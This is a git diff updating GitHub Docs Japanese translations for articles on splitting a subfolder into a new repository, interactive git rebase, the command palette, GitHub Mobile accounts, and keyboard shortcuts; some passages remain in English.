 shortTitle: Splitting a subfolder
 ---
-If you create a new clone of the repository, you won't lose any of your Git history or changes when you split a folder into a separate repository.
+
+リポジトリの新しいクローンを作成した場合でも、フォルダを別のリポジトリに分割したとき、Git の履歴や変更を失うことはありません。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 
-2. Change the current working directory to the location where you want to create your new repository.
+2. 現在のワーキングディレクトリを、新しいリポジトリを作成したい場所に変更します。
 
-4. Clone the repository that contains the subfolder.
+4. サブフォルダのあるリポジトリをクローンします。
    ```shell
    $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY-NAME</em>
    ```
 
-4. Change the current working directory to your cloned repository.
+4. ワーキングディレクトリをクローンしたリポジトリに変更します。
    ```shell
    $ cd <em>REPOSITORY-NAME</em>
    ```
@@ -37,26 +38,26 @@ If you create a new clone of the repository, you won't lose any of your Git hist
 
    {% tip %}
 
-   **Tip:** Windows users should use `/` to delimit folders.
+   **ヒント:** Windows ユーザは、 フォルダを区切るために、`/` を使ってください。
 
    {% endtip %}
 
    {% endwindows %}
-  
+
    ```shell
    $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/
    # Filter the specified branch in your directory and remove empty commits
    > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89)
    > Ref 'refs/heads/<em>BRANCH-NAME</em>' was rewritten
    ```
-   
+
    The repository should now only contain the files that were in your subfolder(s).
 
-6. [Create a new repository](/articles/creating-a-new-repository/) on {% data variables.product.product_name %}.
+6. {% data variables.product.product_name %} 上で[新しいリポジトリを作成](/articles/creating-a-new-repository/)します。
 
 7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	
-   ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+
+   ![リモートリポジトリの URL フィールドのコピー](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
 
    {% tip %}
 
@@ -64,19 +65,19 @@ If you create a new clone of the repository, you won't lose any of your Git hist
 
    {% endtip %}
 
-8. Check the existing remote name for your repository. For example, `origin` or `upstream` are two common choices.
+8. リポジトリの既存のリモート名を確認します。 `origin` や `upstream` がよく使われます。
    ```shell
    $ git remote -v
    > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY-NAME</em>.git (fetch)
    > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY-NAME</em>.git (push)
    ```
 
-9. Set up a new remote URL for your new repository using the existing remote name and the remote repository URL you copied in step 7.
+9. 既存のリモート名およびステップ 7 でコピーしたリモートリポジトリ URL を使って、新しいリポジトリの新しいリモート URL をセットアップします。
    ```shell
    git remote set-url origin https://{% data variables.command_line.codeblock %}/<em>USERNAME/NEW-REPOSITORY-NAME</em>.git
    ```
 
-10. Verify that the remote URL has changed with your new repository name.
+10. 新しいリポジトリの名前を使い、リモート URL が変更されたことを確認します。
     ```shell
     $ git remote -v
     # Verify new remote URL
@@ -84,7 +85,7 @@ If you create a new clone of the repository, you won't lose any of your Git hist
     > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/NEW-REPOSITORY-NAME</em>.git (push)
     ```
 
-11. Push your changes to the new repository on {% data variables.product.product_name %}.
+11. 変更を {% data variables.product.product_name %} の新しいリポジトリにプッシュします。
     ```shell
     git push -u origin <em>BRANCH-NAME</em>
     ```
diff --git a/translations/ja-JP/content/get-started/using-git/using-git-rebase-on-the-command-line.md b/translations/ja-JP/content/get-started/using-git/using-git-rebase-on-the-command-line.md
index 95a87525e4..3f26be5499 100644
--- a/translations/ja-JP/content/get-started/using-git/using-git-rebase-on-the-command-line.md
+++ b/translations/ja-JP/content/get-started/using-git/using-git-rebase-on-the-command-line.md
@@ -1,12 +1,12 @@
 ---
-title: Using Git rebase on the command line
+title: コマンドラインで Git リベースを使う
 redirect_from:
   - /articles/using-git-rebase
   - /articles/using-git-rebase-on-the-command-line
   - /github/using-git/using-git-rebase-on-the-command-line
   - /github/getting-started-with-github/using-git-rebase-on-the-command-line
   - /github/getting-started-with-github/using-git/using-git-rebase-on-the-command-line
-intro: Here's a short tutorial on using `git rebase` on the command line.
+intro: コマンドラインで、「git rebase」を使うための簡単なチュートリアルです。
 versions:
   fpt: '*'
   ghes: '*'
@@ -14,11 +14,12 @@ versions:
   ghec: '*'
 shortTitle: Git rebase
 ---
+
 ## Using Git rebase
 
-In this example, we will cover all of the `git rebase` commands available, except for `exec`.
+この例では、`exec` を除く、利用可能なすべての ` git rebase ` コマンドについて説明します。
 
-We'll start our rebase by entering `git rebase --interactive HEAD~7` on the terminal. Our favorite text editor will display the following lines:
+端末で `git rebase --interactive HEAD~7` と入力して、リベースを開始します。 お気に入りのテキストエディタに以下の行が表示されます:
 
 ```
 pick 1fc6c95 Patch A
@@ -30,17 +31,17 @@ pick 4ca2acc i cant' typ goods
 pick 7b36971 something to move before patch B
 ```
 
-In this example, we're going to:
+この例では、以下を行います:
 
-* Squash the fifth commit (`fa39187`) into the `"Patch A"` commit (`1fc6c95`), using `squash`.
-* Move the last commit (`7b36971`) up before the `"Patch B"` commit (`6b2481b`), and keep it as `pick`.
-* Merge the `"A fix for Patch B"` commit (`c619268`) into the `"Patch B"` commit (`6b2481b`), and disregard the commit message using `fixup`.
-* Split the third commit (`dd1475d`) into two smaller commits, using `edit`.
-* Fix the commit message of the misspelled commit (`4ca2acc`), using `reword`.
+* `squash` を使用して、5 番目のコミット (`fa39187`) を `"Patch A"` コミット (`1fc6c95squash`) に Squash します。
+* 最後のコミット (`7b36971`) を`"Patch B"`コミット (`6b2481b`) の前に移動し、`pick` のままにします。
+* `"A fix for Patch B"` コミット (`c619268`) を `"Patch B"` コミット (`6b2481b`) にマージし、`fixup` を使用して、コミットメッセージを無視します。
+* `edit` を使用して、3 番目のコミット (`dd1475d`) を 2 つの小さなコミットに分割します。
+* `reword` を使用して、スペルミスのコミットメッセージ (`4ca2acc`) を修正します。
 
-Phew! This sounds like a lot of work, but by taking it one step at a time, we can easily make those changes.
+いかがですか。 やることが多くて大変なように見えますが、落ち着いて、一度に 1 ステップずつ進めましょう。すぐに慣れて素早くできるようになります。
 
-To start, we'll need to modify the commands in the file to look like this:
+はじめに、ファイル内のコマンドを次のように変更します:
 
 ```
 pick 1fc6c95 Patch A
@@ -52,11 +53,11 @@ edit dd1475d something I want to split
 reword 4ca2acc i cant' typ goods
 ```
 
-We've changed each line's command from `pick` to the command we're interested in.
+各行のコマンドを、適宜、`pick` から別のコマンドに置き換えました。
 
-Now, save and close the editor; this will start the interactive rebase.
+それでは、エディタを保存して閉じます。 これにより、対話的なリベースを開始します。
 
-Git skips the first rebase command, `pick 1fc6c95`, since it doesn't need to do anything. It goes to the next command, `squash fa39187`. Since this operation requires your input, Git opens your text editor once again. The file it opens up looks something like this:
+Git は、最初のリベースコマンド `pick 1fc6c95` では何もすることがないので、スキップします。 次のコマンド `squash fa39187` に進みます。 この操作には入力が必要なので、Git はもう一度テキストエディタを開きます。 開かれるファイルは次のようになります:
 
 ```
 # This is a combination of two commits.
@@ -78,9 +79,9 @@ something to add to patch A
 #
 ```
 
-This file is Git's way of saying, "Hey, here's what I'm about to do with this `squash`." It lists the first commit's message (`"Patch A"`), and the second commit's message (`"something to add to patch A"`). If you're happy with these commit messages, you can save the file, and close the editor. Otherwise, you have the option of changing the commit message by simply changing the text.
+このファイルは Git の言い方で、「ほら、これが今私がこの `squash` でやろうとしていることです」という意味です。 最初のコミットのメッセージ (`"Patch A"`) と 2 番目のコミットのメッセージ (`"something to add to patch A"`) が一覧表示されます。 これらのコミットメッセージに満足したら、ファイルを保存してエディタを閉じることができます。 それ以外の場合は、テキストを変更するだけでコミットメッセージを変更することができます。
 
-When the editor is closed, the rebase continues:
+エディタを閉じると、リベースは続行されます:
 
 ```
 pick 1fc6c95 Patch A
@@ -92,9 +93,9 @@ edit dd1475d something I want to split
 reword 4ca2acc i cant' typ goods
 ```
 
-Git processes the two `pick` commands (for `pick 7b36971` and `pick 6b2481b`). It *also* processes the `fixup` command (`fixup c619268`), since it doesn't require any interaction. `fixup` merges the changes from `c619268` into the commit before it, `6b2481b`. Both changes will have the same commit message: `"Patch B"`.
+Git は 2 つの `pick` コマンドを処理します (`pick 7b36971` と `pick 6b2481b`) 。 対話を必要としないため、`fixup` コマンド (`fixup c619268`) *も*処理されます。 `fixup` は、`c619268` から `6b2481b` の前のコミットに変更をマージします。 両方の変更とも同じコミットメッセージ `"Patch B"` を持つことになります。
 
-Git gets to the `edit dd1475d` operation, stops, and prints the following message to the terminal:
+Git は `edit dd1475d` 操作を開始して停止し、次のメッセージを端末に表示します:
 
 ```shell
 You can amend the commit now, with
@@ -106,9 +107,9 @@ Once you are satisfied with your changes, run
         git rebase --continue
 ```
 
-At this point, you can edit any of the files in your project to make any additional changes. For each change you make, you'll need to perform a new commit, and you can do that by entering the `git commit --amend` command. When you're finished making all your changes, you can run `git rebase --continue`.
+この時点で、プロジェクト内の任意のファイルを編集して追加の変更を加えることができます。 変更するたびに、新しいコミットを実行する必要があります。そのためには、`git commit --amend` コマンドを入力します。 すべての変更を終えたら、`git rebase --continue` を実行できます。
 
-Git then gets to the `reword 4ca2acc` command.  It opens up your text editor one more time, and presents the following information:
+そして、Git は `reword 4ca2acc` コマンドを使います。  テキストエディタがもう一度開き、次の情報が表示されます:
 
 ```
 i cant' typ goods
@@ -123,26 +124,26 @@ i cant' typ goods
 #
 ```
 
-As before, Git is showing the commit message for you to edit. You can change the text (`"i cant' typ goods"`), save the file, and close the editor. Git will finish the rebase and return you to the terminal.
+以前と同様に、Git は編集するためのコミットメッセージを表示しています。 テキスト (`"i cant' typ goods"`) を変更し、ファイルを保存し、エディタを閉じることができます。 Git はリベースを終了して、端末に戻ります。
 
-## Pushing rebased code to GitHub
+## リベースされたコードを GitHub にプッシュする
 
-Since you've altered Git history, the usual `git push origin` **will not** work. You'll need to modify the command by "force-pushing" your latest changes:
+Git の履歴を変更したので、通常の `git push origin` **は動作しません**。 最新の変更を「強制プッシュ」して、コマンドを変更する必要があります:
 
 ```shell
-# Don't override changes
+# 変更をオーバーライドしない
 $ git push origin main --force-with-lease
 
-# Override changes
+# 変更をオーバーライドする
 $ git push origin main --force
 ```
 
 {% warning %}
 
-Force pushing has serious implications because it changes the historical sequence of commits for the branch. Use it with caution, especially if your repository is being accessed by multiple people.
+フォースプッシュは、ブランチに対するコミットの履歴上の順序を変更するので、深刻な影響を及ぼします。 特にあなたのリポジトリが複数の人々によってアクセスされている場合は、注意して使用してください。
 
 {% endwarning %}
 
-## Further reading
+## 参考リンク
 
-* "[Resolving merge conflicts after a Git rebase](/github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase)"
+* 「[Git リベース後のマージコンフリクトを解決する](/github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase)」
diff --git a/translations/ja-JP/content/get-started/using-github/github-command-palette.md b/translations/ja-JP/content/get-started/using-github/github-command-palette.md
index 6e6ba8c6f7..b1264458c6 100644
--- a/translations/ja-JP/content/get-started/using-github/github-command-palette.md
+++ b/translations/ja-JP/content/get-started/using-github/github-command-palette.md
@@ -2,8 +2,6 @@
 title: GitHub Command Palette
 intro: 'Use the command palette in {% data variables.product.product_name %} to navigate, search, and run commands directly from your keyboard.'
 versions:
-  fpt: '*'
-  ghec: '*'
   feature: command-palette
 shortTitle: GitHub Command Palette
 ---
@@ -29,8 +27,8 @@ The ability to run commands directly from your keyboard, without navigating thro
 ## Opening the {% data variables.product.prodname_command_palette %}
 
 Open the command palette using one of the following keyboard shortcuts:
-- Windows and Linux: <kbd>Ctrl</kbd><kbd>k</kbd> or <kbd>Ctrl</kbd><kbd>alt</kbd><kbd>k</kbd>
-- Mac: <kbd>⌘</kbd><kbd>k</kbd> or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd>
+- Windows and Linux: <kbd>Ctrl</kbd>+<kbd>K</kbd> or <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd>
+- Mac: <kbd>Command</kbd>+<kbd>K</kbd> or <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd>
 
 When you open the command palette, it shows your location at the top left and uses it as the scope for suggestions (for example, the `mashed-avocado` organization).
 
@@ -39,7 +37,7 @@ When you open the command palette, it shows your location at the top left and us
 {% note %}
 
 **ノート:**
-- If you are editing Markdown text, open the command palette with <kbd>Ctrl</kbd><kbd>alt</kbd><kbd>k</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd> (Mac).
+- If you are editing Markdown text, open the command palette with <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd> (Mac).
 - If you are working on a project (beta), a project-specific command palette is displayed instead. 詳しい情報については「[プロジェクト（ベータ）のビューのカスタマイズ](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)」を参照してください。
 
 {% endnote %}
@@ -60,7 +58,7 @@ You can use the command palette to navigate to any page that you have access to
 
 4. Finish entering the path, or use the arrow keys to highlight the path you want from the list of suggestions.
 
-5. Use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd><kbd>Enter</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+5. Use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
 
 ## Searching with the {% data variables.product.prodname_command_palette %}
 
@@ -87,7 +85,7 @@ You can use the command palette to search for anything on {% data variables.prod
 
    {% endtip %}
 
-5. Use the arrow keys to highlight the search result you want and use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd><kbd>Enter</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+5. Use the arrow keys to highlight the search result you want and use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
 
 ## Running commands from the {% data variables.product.prodname_command_palette %}
 
@@ -98,7 +96,7 @@ You can use the {% data variables.product.prodname_command_palette %} to run com
 
 For a full list of supported commands, see "[{% data variables.product.prodname_command_palette %} reference](#github-command-palette-reference)."
 
-1. Use <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>k</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Shift</kbd><kbd>k</kbd> (Mac) to open the command palette in command mode. If you already have the command palette open, press <kbd>></kbd> to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location.
+1. Use <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac) to open the command palette in command mode. If you already have the command palette open, press <kbd>></kbd> to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location.
 
    ![Command palette command mode](/assets/images/help/command-palette/command-palette-command-mode.png)
 
@@ -112,8 +110,8 @@ For a full list of supported commands, see "[{% data variables.product.prodname_
 
 When the command palette is active, you can use one of the following keyboard shortcuts to close the command palette:
 
-- Search and navigation mode: <kbd>esc</kbd> or <kbd>Ctrl</kbd><kbd>k</kbd> (Windows and Linux)  <kbd>⌘</kbd><kbd>k</kbd> (Mac)
-- Command mode: <kbd>esc</kbd> or <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>k</kbd> (Windows and Linux)  <kbd>⌘</kbd><kbd>Shift</kbd><kbd>k</kbd> (Mac)
+- Search and navigation mode: <kbd>Esc</kbd> or <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows and Linux)  <kbd>Command</kbd>+<kbd>K</kbd> (Mac)
+- Command mode: <kbd>Esc</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows and Linux)  <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac)
 
 ## {% data variables.product.prodname_command_palette %} reference
 
@@ -121,17 +119,17 @@ When the command palette is active, you can use one of the following keyboard sh
 
 These keystrokes are available when the command palette is in navigation and search modes, that is, they are not available in command mode.
 
-| Keystroke                                                       | Function                                                                                                                                                                                                                                       |
-|:--------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| <kbd>></kbd>                                                    | Enter command mode. For more information, see "[Running commands from the {% data variables.product.prodname_command_palette %}](#running-commands-from-the-github-command-palette)."                                                        |
-| <kbd>#</kbd>                                                    | Search for issues, pull requests, discussions, and projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                             |
-| <kbd>@</kbd>                                                    | Search for users, organizations, and repositories. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                       |
-| <kbd>/</kbd>                                                    | Search for files within a repository scope or repositories within an organization scope. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)." |
-| <kbd>!</kbd>                                                    | Search just for projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                                                |
-| <kbd>Ctrl</kbd><kbd>c</kbd> or <kbd>⌘</kbd><kbd>c</kbd>         | Copy the search or navigation URL for the highlighted result to the clipboard.                                                                                                                                                                 |
-| <kbd>Enter</kbd>                                                | Jump to the highlighted result or run the highlighted command.                                                                                                                                                                                 |
-| <kbd>Ctrl</kbd><kbd>Enter</kbd> or <kbd>⌘</kbd><kbd>Enter</kbd> | Open the highlighted search or navigation result in a new brower tab.                                                                                                                                                                          |
-| <kbd>?</kbd>                                                    | Display help within the command palette.                                                                                                                                                                                                       |
+| Keystroke                                                               | Function                                                                                                                                                                                                                                       |
+|:----------------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>></kbd>                                                            | Enter command mode. For more information, see "[Running commands from the {% data variables.product.prodname_command_palette %}](#running-commands-from-the-github-command-palette)."                                                        |
+| <kbd>#</kbd>                                                            | Search for issues, pull requests, discussions, and projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                             |
+| <kbd>@</kbd>                                                            | Search for users, organizations, and repositories. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                       |
+| <kbd>/</kbd>                                                            | Search for files within a repository scope or repositories within an organization scope. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)." |
+| <kbd>!</kbd>                                                            | Search just for projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                                                |
+| <kbd>Ctrl</kbd>+<kbd>C</kbd> or <kbd>Command</kbd>+<kbd>C</kbd>         | Copy the search or navigation URL for the highlighted result to the clipboard.                                                                                                                                                                 |
+| <kbd>Enter</kbd>                                                        | Jump to the highlighted result or run the highlighted command.                                                                                                                                                                                 |
+| <kbd>Ctrl</kbd>+<kbd>Enter</kbd> or <kbd>Command</kbd>+<kbd>Enter</kbd> | Open the highlighted search or navigation result in a new brower tab.                                                                                                                                                                          |
+| <kbd>?</kbd>                                                            | Display help within the command palette.                                                                                                                                                                                                       |
 
 ### Global commands
 
diff --git a/translations/ja-JP/content/get-started/using-github/github-mobile.md b/translations/ja-JP/content/get-started/using-github/github-mobile.md
index 76e50e0dd8..2625518bd9 100644
--- a/translations/ja-JP/content/get-started/using-github/github-mobile.md
+++ b/translations/ja-JP/content/get-started/using-github/github-mobile.md
@@ -34,7 +34,7 @@ To install {% data variables.product.prodname_mobile %} for Android or iOS, see
 
 ## Managing accounts
 
-You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}.
+You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}. For more information about our different products, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
 
 {% data reusables.mobile.push-notifications-on-ghes %}
 
@@ -50,11 +50,11 @@ During the beta for {% data variables.product.prodname_mobile %} with {% data va
 
 ### Adding, switching, or signing out of accounts
 
-You can sign into mobile with a user account on {% data variables.product.product_location %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in.
+You can sign into mobile with a user account on {% data variables.product.prodname_ghe_server %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in.
 
-After you sign into mobile with a user account on {% data variables.product.product_location %}, you can switch between the account and your account on  {% data variables.product.prodname_dotcom_the_website %}.  At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to.
+After you sign into mobile with a user account on {% data variables.product.prodname_ghe_server %}, you can switch between the account and your account on {% data variables.product.prodname_dotcom_the_website %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to.
 
-If you no longer need to access data for your user account on {% data variables.product.product_location %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**.
+If you no longer need to access data for your user account on {% data variables.product.prodname_ghe_server %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**.
 
 ## Supported languages for {% data variables.product.prodname_mobile %}
 
diff --git a/translations/ja-JP/content/get-started/using-github/index.md b/translations/ja-JP/content/get-started/using-github/index.md
index d0e1e4d2f2..1cf5a90055 100644
--- a/translations/ja-JP/content/get-started/using-github/index.md
+++ b/translations/ja-JP/content/get-started/using-github/index.md
@@ -1,5 +1,5 @@
 ---
-title: Using GitHub
+title: GitHub を使用する
 intro: 'Explore {% data variables.product.company_short %}''s products from different platforms and devices.'
 redirect_from:
   - /articles/using-github
@@ -19,3 +19,4 @@ children:
   - /github-command-palette
   - /troubleshooting-connectivity-problems
 ---
+
diff --git a/translations/ja-JP/content/get-started/using-github/keyboard-shortcuts.md b/translations/ja-JP/content/get-started/using-github/keyboard-shortcuts.md
index 2265ca6c86..916ac237df 100644
--- a/translations/ja-JP/content/get-started/using-github/keyboard-shortcuts.md
+++ b/translations/ja-JP/content/get-started/using-github/keyboard-shortcuts.md
@@ -1,6 +1,6 @@
 ---
-title: Keyboard shortcuts
-intro: 'Nearly every page on {% data variables.product.prodname_dotcom %} has a keyboard shortcut to perform actions faster.'
+title: キーボードショートカット
+intro: '{% data variables.product.prodname_dotcom %} のほぼすべてのページには、アクションを速く実行するためのキーボードショートカットがあります。'
 redirect_from:
   - /articles/using-keyboard-shortcuts
   - /categories/75/articles
@@ -14,209 +14,214 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-## About keyboard shortcuts
 
-Typing <kbd>?</kbd> on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. You can use these keyboard shortcuts to perform actions across the site without using your mouse to navigate.
+## キーボードショートカットについて
+
+Typing <kbd>?</kbd> on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. マウスを使用して移動しなくても、これらのキーボードショートカットを使用して、サイト全体でアクションを実行できます。
 
 {% if keyboard-shortcut-accessibility-setting %}
 You can disable character key shortcuts, while still allowing shortcuts that use modifier keys, in your accessibility settings. For more information, see "[Managing accessibility settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings)."{% endif %}
 
-Below is a list of some of the available keyboard shortcuts.
+以下は利用可能なキーボードショートカットのリストです:
 {% if command-palette %}
 The {% data variables.product.prodname_command_palette %} also gives you quick access to a wide range of actions, without the need to remember keyboard shortcuts. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
 
-## Site wide shortcuts
+## サイト全体のショートカット
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>s</kbd> or <kbd>/</kbd> | Focus the search bar. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
-|<kbd>g</kbd> <kbd>n</kbd> | Go to your notifications. For more information, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}."
-|<kbd>esc</kbd> | When focused on a user, issue, or pull request hovercard, closes the hovercard and refocuses on the element the hovercard is in
-{% if command-palette %}|<kbd>control</kbd><kbd>k</kbd> or <kbd>command</kbd><kbd>k</kbd> | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with <kbd>Ctl</kbd><kbd>alt</kbd><kbd>k</kbd> or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd>. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
+| キーボードショートカット                  | 説明                                                                                                                                                                                                                                                                               |
+| ----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>s</kbd> または <kbd>/</kbd> | 検索バーにフォーカスします。 詳細は「[{% data variables.product.company_short %} での検索について](/search-github/getting-started-with-searching-on-github/about-searching-on-github)」を参照してください。                                                                                                           |
+| <kbd>g</kbd> <kbd>n</kbd>     | 通知に移動します。 詳しい情報については、{% ifversion fpt or ghes or ghae or ghec %}「[通知について](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}「[通知について](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}」を参照してください。 |
+| <kbd>esc</kbd>                | ユーザ、Issue、またはプルリクエストのホバーカードにフォーカスすると、ホバーカードが閉じ、ホバーカードが含まれている要素に再フォーカスします                                                                                                                                                                                                         |
 
-## Repositories
+{% if command-palette %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>g</kbd> <kbd>c</kbd> | Go to the **Code** tab
-|<kbd>g</kbd> <kbd>i</kbd> | Go to the **Issues** tab. For more information, see "[About issues](/articles/about-issues)."
-|<kbd>g</kbd> <kbd>p</kbd> | Go to the **Pull requests** tab. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."{% ifversion fpt or ghes or ghec %}
-|<kbd>g</kbd> <kbd>a</kbd> | Go to the **Actions** tab. For more information, see "[About Actions](/actions/getting-started-with-github-actions/about-github-actions)."{% endif %}
-|<kbd>g</kbd> <kbd>b</kbd> | Go to the **Projects** tab. For more information, see "[About project boards](/articles/about-project-boards)."
-|<kbd>g</kbd> <kbd>w</kbd> | Go to the **Wiki** tab. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."{% ifversion fpt or ghec %}
-|<kbd>g</kbd> <kbd>g</kbd> | Go to the **Discussions** tab. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."{% endif %}
+<kbd>control</kbd><kbd>k</kbd> or <kbd>command</kbd><kbd>k</kbd> | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with <kbd>Ctl</kbd><kbd>alt</kbd><kbd>k</kbd> or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd>. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
 
-## Source code editing
+## リポジトリ
 
-| Keyboard shortcut | Description
-|-----------|------------{% ifversion fpt or ghec %}
-|<kbd>.</kbd>| Opens a repository or pull request in the web-based editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %}
-| <kbd>control b</kbd> or <kbd>command b</kbd> | Inserts Markdown formatting for bolding text
-| <kbd>control i</kbd> or <kbd>command i</kbd> | Inserts Markdown formatting for italicizing text
-| <kbd>control k</kbd> or <kbd>command k</kbd> | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae or ghes > 3.3 %}
-| <kbd>control shift 7</kbd> or <kbd>command shift 7</kbd> | Inserts Markdown formatting for an ordered list
-| <kbd>control shift 8</kbd> or <kbd>command shift 8</kbd> | Inserts Markdown formatting for an unordered list
-| <kbd>control shift .</kbd> or <kbd>command shift.</kbd> | Inserts Markdown formatting for a quote{% endif %}
-|<kbd>e</kbd> | Open source code file in the **Edit file** tab
-|<kbd>control f</kbd> or <kbd>command f</kbd> | Start searching in file editor
-|<kbd>control g</kbd> or <kbd>command g</kbd> | Find next
-|<kbd>control shift g</kbd> or <kbd>command shift g</kbd> | Find previous
-|<kbd>control shift f</kbd> or <kbd>command option f</kbd> | Replace
-|<kbd>control shift r</kbd> or <kbd>command shift option f</kbd> | Replace all
-|<kbd>alt g</kbd> | Jump to line
-|<kbd>control z</kbd> or <kbd>command z</kbd> | Undo
-|<kbd>control y</kbd> or <kbd>command y</kbd> | Redo
-|<kbd>command shift p</kbd> | Toggles between the **Edit file** and **Preview changes** tabs
